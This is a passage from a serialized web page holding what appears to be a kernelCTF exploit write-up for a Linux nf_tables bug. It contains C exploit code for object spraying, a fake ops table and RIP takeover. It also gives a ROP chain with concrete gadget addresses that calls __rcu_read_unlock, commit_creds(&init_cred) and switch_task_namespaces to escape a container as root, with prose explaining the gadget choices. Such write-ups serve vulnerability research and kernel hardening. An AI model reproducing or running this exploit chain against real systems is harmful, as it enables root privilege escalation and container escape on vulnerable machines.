\"spray-1\");\n[...]\n",[58061],{"type":22,"tag":114,"props":58062,"children":58063},{"__ignoreMap":7},[58064,58071,58079,58103,58150,58186,58193,58201,58233,58241,58249,58270,58278,58286,58350,58357,58365,58373,58380,58388,58422,58430,58437,58445,58452,58460,58493,58514],{"type":22,"tag":118,"props":58065,"children":58066},{"class":120,"line":121},[58067],{"type":22,"tag":118,"props":58068,"children":58069},{"style":125},[58070],{"type":28,"value":12317},{"type":22,"tag":118,"props":58072,"children":58073},{"class":120,"line":142},[58074],{"type":22,"tag":118,"props":58075,"children":58076},{"style":125},[58077],{"type":28,"value":58078},"    // Fake ops\n",{"type":22,"tag":118,"props":58080,"children":58081},{"class":120,"line":177},[58082,58087,58091,58095,58099],{"type":22,"tag":118,"props":58083,"children":58084},{"style":125},[58085],{"type":28,"value":58086},"    uint64_t *rop = calloc(29, ",{"type":22,"tag":118,"props":58088,"children":58089},{"style":131},[58090],{"type":28,"value":57269},{"type":22,"tag":118,"props":58092,"children":58093},{"style":125},[58094],{"type":28,"value":540},{"type":22,"tag":118,"props":58096,"children":58097},{"style":146},[58098],{"type":28,"value":57575},{"type":22,"tag":118,"props":58100,"children":58101},{"style":125},[58102],{"type":28,"value":9230},{"type":22,"tag":118,"props":58104,"children":58105},{"class":120,"line":195},[58106,58111,58115,58119,58123,58127,58132,58136,58141,58145],{"type":22,"tag":118,"props":58107,"children":58108},{"style":204},[58109],{"type":28,"value":58110},"    rop",{"type":22,"tag":118,"props":58112,"children":58113},{"style":125},[58114],{"type":28,"value":5746},{"type":22,"tag":118,"props":58116,"children":58117},{"style":674},[58118],{"type":28,"value":6036},{"type":22,"tag":118,"props":58120,"children":58121},{"style":125},[58122],{"type":28,"value":10663},{"type":22,"tag":118,"props":58124,"children":58125},{"style":210},[58126],{"type":28,"value":282},{"type":22,"tag":118,"props":58128,"children":58129},{"style":125},[58130],{"type":28,"value":58131}," kaslr_slide ",{"type":22,"tag":118,"props":58133,"children":58134},{"style":210},[58135],{"type":28,"value":3220},{"type":22,"tag":118,"props":58137,"children":58138},{"style":674},[58139],{"type":28,"value":58140}," 0xffffffff81988647",{"type":22,"tag":118,"props":58142,"children":58143},{"style":125},[58144],{"type":28,"value":51014},{"type":22,"tag":118,"props":58146,"children":58147},{"style":257},[58148],{"type":28,"value":58149}," // push rsi; jmp qword ptr [rsi + 0x39];\n",{"type":22,"tag":118,"props":58151,"children":58152},{"class":120,"line":244},[58153,58157,58161,58165,58169,58173,58177,58181],{"type":22,"tag":118,"props":58154,"children":58155},{"style":204},[58156],{"type":28,"value":58110},{"type":22,"tag":118,"props":58158,"children":58159},{"style":125},[58160],{"type":28,"value":5746},{"type":22,"tag":118,"props":58162,"children":58163},{"style":674},[58164],{"type":28,"value":5147},{"type":22,"tag":118,"props":58166,"children":58167},{"style":125},[58168],{"type":28,"value":10663},{"type":22,"tag":118,"props":58170,"children":58171},{"style":210},[58172],{"type":28,"value":282},{"type":22,"tag":118,"props":58174,"children":58175},{"style":125},[58176],{"type":28,"value":58131},{"type":22,"tag":118,"props":58178,"children":58179},{"style":210},[58180],{"type":28,"value":3220},{"type":22,"tag":118,"props":58182,"children":58183},{"style":125},[58184],{"type":28,"value":58185}," NFT_CT_EXPECT_OBJ_TYPE;\n",{"type":22,"tag":118,"props":58187,"children":58188},{"class":120,"line":253},[58189],{"type":22,"tag":118,"props":58190,"children":58191},{"style":125},[58192],{"type":28,"value":12317},{"type":22,"tag":118,"props":58194,"children":58195},{"class":120,"line":263},[58196],{"type":22,"tag":118,"props":58197,"children":58198},{"style":125},[58199],{"type":28,"value":58200},"    // Send ROP in object udata\n",{"type":22,"tag":118,"props":58202,"children":58203},{"class":120,"line":318},[58204,58209,58213,58218,58223,58228],{"type":22,"tag":118,"props":58205,"children":58206},{"style":125},[58207],{"type":28,"value":58208},"    del_obj(",{"type":22,"tag":118,"props":58210,"children":58211},{"style":131},[58212],{"type":28,"value":56231},{"type":22,"tag":118,"props":58214,"children":58215},{"style":125},[58216],{"type":28,"value":58217},", \"",{"type":22,"tag":118,"props":58219,"children":58220},{"style":131},[58221],{"type":28,"value":58222},"spray",{"type":22,"tag":118,"props":58224,"children":58225},{"style":125},[58226],{"type":28,"value":58227},"-0",{"type":22,"tag":118,"props":58229,"children":58230},{"style":1866},[58231],{"type":28,"value":58232},"\");\n",{"type":22,"tag":118,"props":58234,"children":58235},{"class":120,"line":351},[58236],{"type":22,"tag":118,"props":58237,"children":58238},{"style":1866},[58239],{"type":28,"value":58240},"    wait_destroyer();\n",{"type":22,"tag":118,"props":58242,"children":58243},{"class":120,"line":359},[58244],{"type":22,"tag":118,"props":58245,"children":58246},{"style":1866},[58247],{"type":28,"value":58248},"    obj_spray(nl, 1, 1, rop, 0xb8);\n",{"type":22,"tag":118,"props":58250,"children":58251},{"class":120,"line":368},[58252,58257,58261,58266],{"type":22,"tag":118,"props":58253,"children":58254},{"style":1866},[58255],{"type":28,"value":58256},"    fake_obj = (uint64_t *)getudata(nl, \"",{"type":22,"tag":118,"props":58258,"children":58259},{"style":146},[58260],{"type":28,"value":58222},{"type":22,"tag":118,"props":58262,"children":58263},{"style":125},[58264],{"type":28,"value":58265},"-3",{"type":22,"tag":118,"props":58267,"children":58268},{"style":1866},[58269],{"type":28,"value":58232},{"type":22,"tag":118,"props":58271,"children":58272},{"class":120,"line":384},[58273],{"type":22,"tag":118,"props":58274,"children":58275},{"style":1866},[58276],{"type":28,"value":58277},"    DumpHex(fake_obj, 0xe8);\n",{"type":22,"tag":118,"props":58279,"children":58280},{"class":120,"line":417},[58281],{"type":22,"tag":118,"props":58282,"children":58283},{"style":1866},[58284],{"type":28,"value":58285},"    uint64_t rop_addr = fake_obj[9]; // udata ptr\n",{"type":22,"tag":118,"props":58287,"children":58288},{"class":120,"line":425},[58289,58294,58298,58302,58306,58311,58316,58321,58325,58330,58335,58340,58345],{"type":22,"tag":118,"props":58290,"children":58291},{"style":1866},[58292],{"type":28,"value":58293},"    printf(\"",{"type":22,"tag":118,"props":58295,"children":58296},{"style":125},[58297],{"type":28,"value":5746},{"type":22,"tag":118,"props":58299,"children":58300},{"style":210},[58301],{"type":28,"value":671},{"type":22,"tag":118,"props":58303,"children":58304},{"style":125},[58305],{"type":28,"value":10663},{"type":22,"tag":118,"props":58307,"children":58308},{"style":131},[58309],{"type":28,"value":58310},"ROP",{"type":22,"tag":118,"props":58312,"children":58313},{"style":131},[58314],{"type":28,"value":58315}," addr",{"type":22,"tag":118,"props":58317,"children":58318},{"style":125},[58319],{"type":28,"value":58320},": 0",{"type":22,"tag":118,"props":58322,"children":58323},{"style":131},[58324],{"type":28,"value":21243},{"type":22,"tag":118,"props":58326,"children":58327},{"style":125},[58328],{"type":28,"value":58329},"%",{"type":22,"tag":118,"props":58331,"children":58332},{"style":131},[58333],{"type":28,"value":58334},"lx",{"type":22,"tag":118,"props":58336,"children":58337},{"style":125},[58338],{"type":28,"value":58339},"\\",{"type":22,"tag":118,"props":58341,"children":58342},{"style":131},[58343],{"type":28,"value":58344},"n",{"type":22,"tag":118,"props":58346,"children":58347},{"style":1866},[58348],{"type":28,"value":58349},"\", rop_addr);\n",{"type":22,"tag":118,"props":58351,"children":58352},{"class":120,"line":441},[58353],{"type":22,"tag":118,"props":58354,"children":58355},{"emptyLinePlaceholder":15},[58356],{"type":28,"value":250},{"type":22,"tag":118,"props":58358,"children":58359},{"class":120,"line":475},[58360],{"type":22,"tag":118,"props":58361,"children":58362},{"style":1866},[58363],{"type":28,"value":58364},"    // Point to fake ops\n",{"type":22,"tag":118,"props":58366,"children":58367},{"class":120,"line":484},[58368],{"type":22,"tag":118,"props":58369,"children":58370},{"style":1866},[58371],{"type":28,"value":58372},"    fake_obj[16] = rop_addr - 0x20; // Point ops to fake ptr table\n",{"type":22,"tag":118,"props":58374,"children":58375},{"class":120,"line":492},[58376],{"type":22,"tag":118,"props":58377,"children":58378},{"style":1866},[58379],{"type":28,"value":12317},{"type":22,"tag":118,"props":58381,"children":58382},{"class":120,"line":501},[58383],{"type":22,"tag":118,"props":58384,"children":58385},{"style":1866},[58386],{"type":28,"value":58387},"    // Write ROP\n",{"type":22,"tag":118,"props":58389,"children":58390},{"class":120,"line":519},[58391,58396,58400,58404,58408,58413,58418],{"type":22,"tag":118,"props":58392,"children":58393},{"style":1866},[58394],{"type":28,"value":58395},"    puts(\"",{"type":22,"tag":118,"props":58397,"children":58398},{"style":125},[58399],{"type":28,"value":5746},{"type":22,"tag":118,"props":58401,"children":58402},{"style":210},[58403],{"type":28,"value":671},{"type":22,"tag":118,"props":58405,"children":58406},{"style":125},[58407],{"type":28,"value":10663},{"type":22,"tag":118,"props":58409,"children":58410},{"style":131},[58411],{"type":28,"value":58412},"Write",{"type":22,"tag":118,"props":58414,"children":58415},{"style":131},[58416],{"type":28,"value":58417}," ROP",{"type":22,"tag":118,"props":58419,"children":58420},{"style":1866},[58421],{"type":28,"value":58232},{"type":22,"tag":118,"props":58423,"children":58424},{"class":120,"line":606},[58425],{"type":22,"tag":118,"props":58426,"children":58427},{"style":1866},[58428],{"type":28,"value":58429},"    deludata_spray(nl, 3, 1);\n",{"type":22,"tag":118,"props":58431,"children":58432},{"class":120,"line":615},[58433],{"type":22,"tag":118,"props":58434,"children":58435},{"style":1866},[58436],{"type":28,"value":58240},{"type":22,"tag":118,"props":58438,"children":58439},{"class":120,"line":685},[58440],{"type":22,"tag":118,"props":58441,"children":58442},{"style":1866},[58443],{"type":28,"value":58444},"    udata_spray(nl, 0xe8, 4, 1, fake_obj);\n",{"type":22,"tag":118,"props":58446,"children":58447},{"class":120,"line":699},[58448],{"type":22,"tag":118,"props":58449,"children":58450},{"emptyLinePlaceholder":15},[58451],{"type":28,"value":250},{"type":22,"tag":118,"props":58453,"children":58454},{"class":120,"line":729},[58455],{"type":22,"tag":118,"props":58456,"children":58457},{"style":1866},[58458],{"type":28,"value":58459},"    // Takeover RIP\n",{"type":22,"tag":118,"props":58461,"children":58462},{"class":120,"line":771},[58463,58467,58471,58475,58479,58484,58489],{"type":22,"tag":118,"props":58464,"children":58465},{"style":1866},[58466],{"type":28,"value":58395},{"type":22,"tag":118,"props":58468,"children":58469},{"style":125},[58470],{"type":28,"value":5746},{"type":22,"tag":118,"props":58472,"children":58473},{"style":210},[58474],{"type":28,"value":671},{"type":22,"tag":118,"props":58476,"children":58477},{"style":125},[58478],{"type":28,"value":10663},{"type":22,"tag":118,"props":58480,"children":58481},{"style":131},[58482],{"type":28,"value":58483},"Takeover",{"type":22,"tag":118,"props":58485,"children":58486},{"style":131},[58487],{"type":28,"value":58488}," RIP",{"type":22,"tag":118,"props":58490,"children":58491},{"style":1866},[58492],{"type":28,"value":58232},{"type":22,"tag":118,"props":58494,"children":58495},{"class":120,"line":785},[58496,58501,58505,58510],{"type":22,"tag":118,"props":58497,"children":58498},{"style":1866},[58499],{"type":28,"value":58500},"    dump_obj(nl, \"",{"type":22,"tag":118,"props":58502,"children":58503},{"style":146},[58504],{"type":28,"value":58222},{"type":22,"tag":118,"props":58506,"children":58507},{"style":125},[58508],{"type":28,"value":58509},"-1",{"type":22,"tag":118,"props":58511,"children":58512},{"style":1866},[58513],{"type":28,"value":58232},{"type":22,"tag":118,"props":58515,"children":58516},{"class":120,"line":804},[58517],{"type":22,"tag":118,"props":58518,"children":58519},{"style":1866},[58520],{"type":28,"value":12317},{"type":22,"tag":1289,"props":58522,"children":58524},{"id":58523},"bypass-context-switch-in-rcu-critical-section",[58525],{"type":28,"value":58526},"Bypass context switch in RCU critical-section",{"type":22,"tag":31,"props":58528,"children":58529},{},[58530,58531,58536],{"type":28,"value":2743},{"type":22,"tag":114,"props":58532,"children":58534},{"className":58533},[],[58535],{"type":28,"value":57055},{"type":28,"value":58537}," operations are invoked from an RCU critical-section, which can be a problem for ROPing since we want to switch contexts to userland after executing our payload, which is illegal in RCU critical-sections.",{"type":22,"tag":31,"props":58539,"children":58540},{},[58541,58543,58550,58552,58558,58560,58566],{"type":28,"value":58542},"A workaround has been discussed before by D3v17 in a ",{"type":22,"tag":42,"props":58544,"children":58547},{"href":58545,"rel":58546},"https://github.com/google/security-research/blob/master/pocs/linux/kernelctf/CVE-2023-0461_mitigation/docs/exploit.md#post-rip",[46],[58548],{"type":28,"value":58549},"previous kernelCTF submission",{"type":28,"value":58551}," that basically consists in using memory write gadgets to overwrite the RCU lock in our ",{"type":22,"tag":114,"props":58553,"children":58555},{"className":58554},[],[58556],{"type":28,"value":58557},"task_struct",{"type":28,"value":58559}," before switching to userland. Although this works, I struggled to find useful gadgets but ended up coming up with an easier solution. There are kernel APIs specifically meant for acquiring/releasing the RCU lock, so we should be able to simply call ",{"type":22,"tag":114,"props":58561,"children":58563},{"className":58562},[],[58564],{"type":28,"value":58565},"__rcu_read_unlock()",{"type":28,"value":58567}," function and exit the RCU critical-section before switching contexts.",{"type":22,"tag":107,"props":58569,"children":58571},{"className":31048,"code":58570,"language":31050,"meta":7,"style":7},"    // ROP stage 1\n    int pos = 3;\n\n    rop[pos++] = kaslr_slide + __RCU_READ_UNLOCK;\n",[58572],{"type":22,"tag":114,"props":58573,"children":58574},{"__ignoreMap":7},[58575,58583,58607,58614],{"type":22,"tag":118,"props":58576,"children":58577},{"class":120,"line":121},[58578],{"type":22,"tag":118,"props":58579,"children":58580},{"style":257},[58581],{"type":28,"value":58582},"    // ROP stage 1\n",{"type":22,"tag":118,"props":58584,"children":58585},{"class":120,"line":142},[58586,58590,58595,58599,58603],{"type":22,"tag":118,"props":58587,"children":58588},{"style":146},[58589],{"type":28,"value":21044},{"type":22,"tag":118,"props":58591,"children":58592},{"style":125},[58593],{"type":28,"value":58594}," pos ",{"type":22,"tag":118,"props":58596,"children":58597},{"style":210},[58598],{"type":28,"value":282},{"type":22,"tag":118,"props":58600,"children":58601},{"style":674},[58602],{"type":28,"value":21066},{"type":22,"tag":118,"props":58604,"children":58605},{"style":125},[58606],{"type":28,"value":801},{"type":22,"tag":118,"props":58608,"children":58609},{"class":120,"line":177},[58610],{"type":22,"tag":118,"props":58611,"children":58612},{"emptyLinePlaceholder":15},[58613],{"type":28,"value":250},{"type":22,"tag":118,"props":58615,"children":58616},{"class":120,"line":195},[58617,58621,58626,58630,58634,58638,58642,58646],{"type":22,"tag":118,"props":58618,"children":58619},{"style":204},[58620],{"type":28,"value":58110},{"type":22,"tag":118,"props":58622,"children":58623},{"style":125},[58624],{"type":28,"value":58625},"[pos",{"type":22,"tag":118,"props":58627,"children":58628},{"style":210},[58629],{"type":28,"value":53210},{"type":22,"tag":118,"props":58631,"children":58632},{"style":125},[58633],{"type":28,"value":10663},{"type":22,"tag":118,"props":58635,"children":58636},{"style":210},[58637],{"type":28,"value":282},{"type":22,"tag":118,"props":58639,"children":58640},{"style":125},[58641],{"type":28,"value":58131},{"type":22,"tag":118,"props":58643,"children":58644},{"style":210},[58645],{"type":28,"value":3220},{"type":22,"tag":118,"props":58647,"children":58648},{"style":125},[58649],{"type":28,"value":58650}," __RCU_READ_UNLOCK;\n",{"type":22,"tag":1289,"props":58652,"children":58654},{"id":58653},"rop",[58655],{"type":28,"value":58310},{"type":22,"tag":31,"props":58657,"children":58658},{},[58659],{"type":28,"value":58660},"Most of the ROP chain to escape the container as root is business as usual:",{"type":22,"tag":64,"props":58662,"children":58663},{},[58664,58675,58686],{"type":22,"tag":68,"props":58665,"children":58666},{},[58667,58673],{"type":22,"tag":114,"props":58668,"children":58670},{"className":58669},[],[58671],{"type":28,"value":58672},"commit_creds(&init_cred);",{"type":28,"value":58674}," Commit root credentials to our process",{"type":22,"tag":68,"props":58676,"children":58677},{},[58678,58684],{"type":22,"tag":114,"props":58679,"children":58681},{"className":58680},[],[58682],{"type":28,"value":58683},"task = find_task_by_vpid(1);",{"type":28,"value":58685}," Find the root process of our namespace",{"type":22,"tag":68,"props":58687,"children":58688},{},[58689,58695],{"type":22,"tag":114,"props":58690,"children":58692},{"className":58691},[],[58693],{"type":28,"value":58694},"switch_task_namespaces(task, &init_nsproxy);",{"type":28,"value":58696}," Move it to the root namespace",{"type":22,"tag":31,"props":58698,"children":58699},{},[58700,58702,58708,58710,58716,58718,58724,58726,58732,58734,58739,58741,58747],{"type":28,"value":58701},"However, I had a hard time finding gadgets to easily move the return value of ",{"type":22,"tag":114,"props":58703,"children":58705},{"className":58704},[],[58706],{"type":28,"value":58707},"find_task_by_vpid(1)",{"type":28,"value":58709}," passed through ",{"type":22,"tag":114,"props":58711,"children":58713},{"className":58712},[],[58714],{"type":28,"value":58715},"rax",{"type":28,"value":58717}," to ",{"type":22,"tag":114,"props":58719,"children":58721},{"className":58720},[],[58722],{"type":28,"value":58723},"rdi",{"type":28,"value":58725},". What I ended up going with was a ",{"type":22,"tag":114,"props":58727,"children":58729},{"className":58728},[],[58730],{"type":28,"value":58731},"push rax; jmp qword ptr [rsi + 0x66]; ret",{"type":28,"value":58733}," gadget, that allowed me to push the ",{"type":22,"tag":114,"props":58735,"children":58737},{"className":58736},[],[58738],{"type":28,"value":58715},{"type":28,"value":58740}," value onto the stack and then jump to a controlled location, where I stored a ",{"type":22,"tag":114,"props":58742,"children":58744},{"className":58743},[],[58745],{"type":28,"value":58746},"pop rdi; ret",{"type":28,"value":58748}," gadget to consume the new stack value and restore normal ROP execution. This very minor detour in the ROP flow looks like this:",{"type":22,"tag":64,"props":58750,"children":58751},{},[58752,58757,58770],{"type":22,"tag":68,"props":58753,"children":58754},{},[58755],{"type":28,"value":58756},"We push the value onto the stack (stack pointer regresses)",{"type":22,"tag":68,"props":58758,"children":58759},{},[58760,58762,58768],{"type":28,"value":58761},"We jump to our \"trampoline\" gadget (",{"type":22,"tag":114,"props":58763,"children":58765},{"className":58764},[],[58766],{"type":28,"value":58767},"pop rdi; ret;",{"type":28,"value":58769}," location)",{"type":22,"tag":68,"props":58771,"children":58772},{},[58773,58778],{"type":22,"tag":114,"props":58774,"children":58776},{"className":58775},[],[58777],{"type":28,"value":58746},{"type":28,"value":58779}," consumes the value from the stack (progressing the stack pointer back to where it should be), and then we bounce back to the next gadget",{"type":22,"tag":107,"props":58781,"children":58783},{"className":31048,"code":58782,"language":31050,"meta":7,"style":7},"[...]\n    // commit_creds(&init_cred);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = kaslr_slide + INIT_CRED;\n    rop[pos++] = kaslr_slide + COMMIT_CREDS;\n\n    // task = find_task_by_vpid(1);\n    rop[pos++] = kaslr_slide + 0xffffffff8112c7c0; // pop rdi; ret;\n    rop[pos++] = 1;\n    rop[pos++] = kaslr_slide + FIND_TASK_BY_VPID;\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = obj_ptr + 0xe0 - 0x66;            // rax -> rdi and resume rop\n    rop[pos++] = kaslr_slide + 0xffffffff81caed31; // push rax; jmp qword ptr [rsi + 0x66];\n\n    // switch_task_namespaces(task, &init_nsproxy);\n    rop[pos++] = kaslr_slide + 0xffffffff8102e2a6; // pop rsi; ret;\n    rop[pos++] = kaslr_slide + INIT_NSPROXY;\n    rop[pos++] = kaslr_slide + SWITCH_TASK_NAMESPACES;\n[...]\n",[58784],{"type":22,"tag":114,"props":58785,"children":58786},{"__ignoreMap":7},[58787,58794,58811,58856,58892,58928,58935,58943,58986,59017,59053,59098,59153,59198,59205,59213,59256,59292,59328],{"type":22,"tag":118,"props":58788,"children":58789},{"class":120,"line":121},[58790],{"type":22,"tag":118,"props":58791,"children":58792},{"style":125},[58793],{"type":28,"value":12317},{"type":22,"tag":118,"props":58795,"children":58796},{"class":120,"line":142},[58797,58802,58807],{"type":22,"tag":118,"props":58798,"children":58799},{"style":125},[58800],{"type":28,"value":58801},"    // commit_creds(&",{"type":22,"tag":118,"props":58803,"children":58804},{"style":204},[58805],{"type":28,"value":58806},"init_cred",{"type":22,"tag":118,"props":58808,"children":58809},{"style":125},[58810],{"type":28,"value":682},{"type":22,"tag":118,"props":58812,"children":58813},{"class":120,"line":177},[58814,58818,58822,58826,58830,58834,58838,58842,58847,58851],{"type":22,"tag":118,"props":58815,"children":58816},{"style":204},[58817],{"type":28,"value":58110},{"type":22,"tag":118,"props":58819,"children":58820},{"style":125},[58821],{"type":28,"value":58625},{"type":22,"tag":118,"props":58823,"children":58824},{"style":210},[58825],{"type":28,"value":53210},{"type":22,"tag":118,"props":58827,"children":58828},{"style":125},[58829],{"type":28,"value":10663},{"type":22,"tag":118,"props":58831,"children":58832},{"style":210},[58833],{"type":28,"value":282},{"type":22,"tag":118,"props":58835,"children":58836},{"style":125},[58837],{"type":28,"value":58131},{"type":22,"tag":118,"props":58839,"children":58840},{"style":210},[58841],{"type":28,"value":3220},{"type":22,"tag":118,"props":58843,"children":58844},{"style":674},[58845],{"type":28,"value":58846}," 0xffffffff8112c7c0",{"type":22,"tag":118,"props":58848,"children":58849},{"style":125},[58850],{"type":28,"value":51014},{"type":22,"tag":118,"props":58852,"children":58853},{"style":257},[58854],{"type":28,"value":58855}," // pop rdi; ret;\n",{"type":22,"tag":118,"props":58857,"children":58858},{"class":120,"line":195},[58859,58863,58867,58871,58875,58879,58883,58887],{"type":22,"tag":118,"props":58860,"children":58861},{"style":204},[58862],{"type":28,"value":58110},{"type":22,"tag":118,"props":58864,"children":58865},{"style":125},[58866],{"type":28,"value":58625},{"type":22,"tag":118,"props":58868,"children":58869},{"style":210},[58870],{"type":28,"value":53210},{"type":22,"tag":118,"props":58872,"children":58873},{"style":125},[58874],{"type":28,"value":10663},{"type":22,"tag":118,"props":58876,"children":58877},{"style":210},[58878],{"type":28,"value":282},{"type":22,"tag":118,"props":58880,"children":58881},{"style":125},[58882],{"type":28,"value":58131},{"type":22,"tag":118,"props":58884,"children":58885},{"style":210},[58886],{"type":28,"value":3220},{"type":22,"tag":118,"props":58888,"children":58889},{"style":125},[58890],{"type":28,"value":58891}," INIT_CRED;\n",{"type":22,"tag":118,"props":58893,"children":58894},{"class":120,"line":244},[58895,58899,58903,58907,58911,58915,58919,58923],{"type":22,"tag":118,"props":58896,"children":58897},{"style":204},[58898],{"type":28,"value":58110},{"type":22,"tag":118,"props":58900,"children":58901},{"style":125},[58902],{"type":28,"value":58625},{"type":22,"tag":118,"props":58904,"children":58905},{"style":210},[58906],{"type":28,"value":53210},{"type":22,"tag":118,"props":58908,"children":58909},{"style":125},[58910],{"type":28,"value":10663},{"type":22,"tag":118,"props":58912,"children":58913},{"style":210},[58914],{"type":28,"value":282},{"type":22,"tag":118,"props":58916,"children":58917},{"style":125},[58918],{"type":28,"value":58131},{"type":22,"tag":118,"props":58920,"children":58921},{"style":210},[58922],{"type":28,"value":3220},{"type":22,"tag":118,"props":58924,"children":58925},{"style":125},[58926],{"type":28,"value":58927}," COMMIT_CREDS;\n",{"type":22,"tag":118,"props":58929,"children":58930},{"class":120,"line":253},[58931],{"type":22,"tag":118,"props":58932,"children":58933},{"emptyLinePlaceholder":15},[58934],{"type":28,"value":250},{"type":22,"tag":118,"props":58936,"children":58937},{"class":120,"line":263},[58938],{"type":22,"tag":118,"props":58939,"children":58940},{"style":257},[58941],{"type":28,"value":58942},"    // task = find_task_by_vpid(1);\n",{"type":22,"tag":118,"props":58944,"children":58945},{"class":120,"line":318},[58946,58950,58954,58958,58962,58966,58970,58974,58978,58982],{"type":22,"tag":118,"props":58947,"children":58948},{"style":204},[58949],{"type":28,"value":58110},{"type":22,"tag":118,"props":58951,"children":58952},{"style":125},[58953],{"type":28,"value":58625},{"type":22,"tag":118,"props":58955,"children":58956},{"style":210},[58957],{"type":28,"value":53210},{"type":22,"tag":118,"props":58959,"children":58960},{"style":125},[58961],{"type":28,"value":10663},{"type":22,"tag":118,"props":58963,"children":58964},{"style":210},[58965],{"type":28,"value":282},{"type":22,"tag":118,"props":58967,"children":58968},{"style":125},[58969],{"type":28,"value":58131},{"type":22,"tag":118,"props":58971,"children":58972},{"style":210},[58973],{"type":28,"value":3220},{"type":22,"tag":118,"props":58975,"children":58976},{"style":674},[58977],{"type":28,"value":58846},{"type":22,"tag":118,"props":58979,"children":58980},{"style":125},[58981],{"type":28,"value":51014},{"type":22,"tag":118,"props":58983,"children":58984},{"style":257},[58985],{"type":28,"value":58855},{"type":22,"tag":118,"props":58987,"children":58988},{"class":120,"line":351},[58989,58993,58997,59001,59005,59009,59013],{"type":22,"tag":118,"props":58990,"children":58991},{"style":204},[58992],{"type":28,"value":58110},{"type":22,"tag":118,"props":58994,"children":58995},{"style":125},[58996],{"type":28,"value":58625},{"type":22,"tag":118,"props":58998,"children":58999},{"style":210},[59000],{"type":28,"value":53210},{"type":22,"tag":118,"props":59002,"children":59003},{"style":125},[59004],{"type":28,"value":10663},{"type":22,"tag":118,"props":59006,"children":59007},{"style":210},[59008],{"type":28,"value":282},{"type":22,"tag":118,"props":59010,"children":59011},{"style":674},[59012],{"type":28,"value":6535},{"type":22,"tag":118,"props":59014,"children":59015},{"style":125},[59016],{"type":28,"value":801},{"type":22,"tag":118,"props":59018,"children":59019},{"class":120,"line":359},[59020,59024,59028,59032,59036,59040,59044,59048],{"type":22,"tag":118,"props":59021,"children":59022},{"style":204},[59023],{"type":28,"value":58110},{"type":22,"tag":118,"props":59025,"children":59026},{"style":125},[59027],{"type":28,"value":58625},{"type":22,"tag":118,"props":59029,"children":59030},{"style":210},[59031],{"type":28,"value":53210},{"type":22,"tag":118,"props":59033,"children":59034},{"style":125},[59035],{"type":28,"value":10663},{"type":22,"tag":118,"props":59037,"children":59038},{"style":210},[59039],{"type":28,"value":282},{"type":22,"tag":118,"props":59041,"children":59042},{"style":125},[59043],{"type":28,"value":58131},{"type":22,"tag":118,"props":59045,"children":59046},{"style":210},[59047],{"type":28,"value":3220},{"type":22,"tag":118,"props":59049,"children":59050},{"style":125},[59051],{"type":28,"value":59052}," FIND_TASK_BY_VPID;\n",{"type":22,"tag":118,"props":59054,"children":59055},{"class":120,"line":368},[59056,59060,59064,59068,59072,59076,59080,59084,59089,59093],{"type":22,"tag":118,"props":59057,"children":59058},{"style":204},[59059],{"type":28,"value":58110},{"type":22,"tag":118,"props":59061,"children":59062},{"style":125},[59063],{"type":28,"value":58625},{"type":22,"tag":118,"props":59065,"children":59066},{"style":210},[59067],{"type":28,"value":53210},{"type":22,"tag":118,"props":59069,"children":59070},{"style":125},[59071],{"type":28,"value":10663},{"type":22,"tag":118,"props":59073,"children":59074},{"style":210},[59075],{"type":28,"value":282},{"type":22,"tag":118,"props":59077,"children":59078},{"style":125},[59079],{"type":28,"value":58131},{"type":22,"tag":118,"props":59081,"children":59082},{"style":210},[59083],{"type":28,"value":3220},{"type":22,"tag":118,"props":59085,"children":59086},{"style":674},[59087],{"type":28,"value":59088}," 0xffffffff8102e2a6",{"type":22,"tag":118,"props":59090,"children":59091},{"style":125},[59092],{"type":28,"value":51014},{"type":22,"tag":118,"props":59094,"children":59095},{"style":257},[59096],{"type":28,"value":59097}," // pop rsi; ret;\n",{"type":22,"tag":118,"props":59099,"children":59100},{"class":120,"line":384},[59101,59105,59109,59113,59117,59121,59126,59130,59135,59139,59144,59148],{"type":22,"tag":118,"props":59102,"children":59103},{"style":204},[59104],{"type":28,"value":58110},{"type":22,"tag":118,"props":59106,"children":59107},{"style":125},[59108],{"type":28,"value":58625},{"type":22,"tag":118,"props":59110,"children":59111},{"style":210},[59112],{"type":28,"value":53210},{"type":22,"tag":118,"props":59114,"children":59115},{"style":125},[59116],{"type":28,"value":10663},{"type":22,"tag":118,"props":59118,"children":59119},{"style":210},[59120],{"type":28,"value":282},{"type":22,"tag":118,"props":59122,"children":59123},{"style":125},[59124],{"type":28,"value":59125}," obj_ptr ",{"type":22,"tag":118,"props":59127,"children":59128},{"style":210},[59129],{"type":28,"value":3220},{"type":22,"tag":118,"props":59131,"children":59132},{"style":674},[59133],{"type":28,"value":59134}," 0xe0",{"type":22,"tag":118,"props":59136,"children":59137},{"style":210},[59138],{"type":28,"value":53196},{"type":22,"tag":118,"props":59140,"children":59141},{"style":674},[59142],{"type":28,"value":59143}," 0x66",{"type":22,"tag":118,"props":59145,"children":59146},{"style":125},[59147],{"type":28,"value":51014},{"type":22,"tag":118,"props":59149,"children":59150},{"style":257},[59151],{"type":28,"value":59152},"            // rax -> rdi and resume rop\n",{"type":22,"tag":118,"props":59154,"children":59155},{"class":120,"line":417},[59156,59160,59164,59168,59172,59176,59180,59184,59189,59193],{"type":22,"tag":118,"props":59157,"children":59158},{"style":204},[59159],{"type":28,"value":58110},{"type":22,"tag":118,"props":59161,"children":59162},{"style":125},[59163],{"type":28,"value":58625},{"type":22,"tag":118,"props":59165,"children":59166},{"style":210},[59167],{"type":28,"value":53210},{"type":22,"tag":118,"props":59169,"children":59170},{"style":125},[59171],{"type":28,"value":10663},{"type":22,"tag":118,"props":59173,"children":59174},{"style":210},[59175],{"type":28,"value":282},{"type":22,"tag":118,"props":59177,"children":59178},{"style":125},[59179],{"type":28,"value":58131},{"type":22,"tag":118,"props":59181,"children":59182},{"style":210},[59183],{"type":28,"value":3220},{"type":22,"tag":118,"props":59185,"children":59186},{"style":674},[59187],{"type":28,"value":59188}," 0xffffffff81caed31",{"type":22,"tag":118,"props":59190,"children":59191},{"style":125},[59192],{"type":28,"value":51014},{"type":22,"tag":118,"props":59194,"children":59195},{"style":257},[59196],{"type":28,"value":59197}," // push rax; jmp qword ptr [rsi + 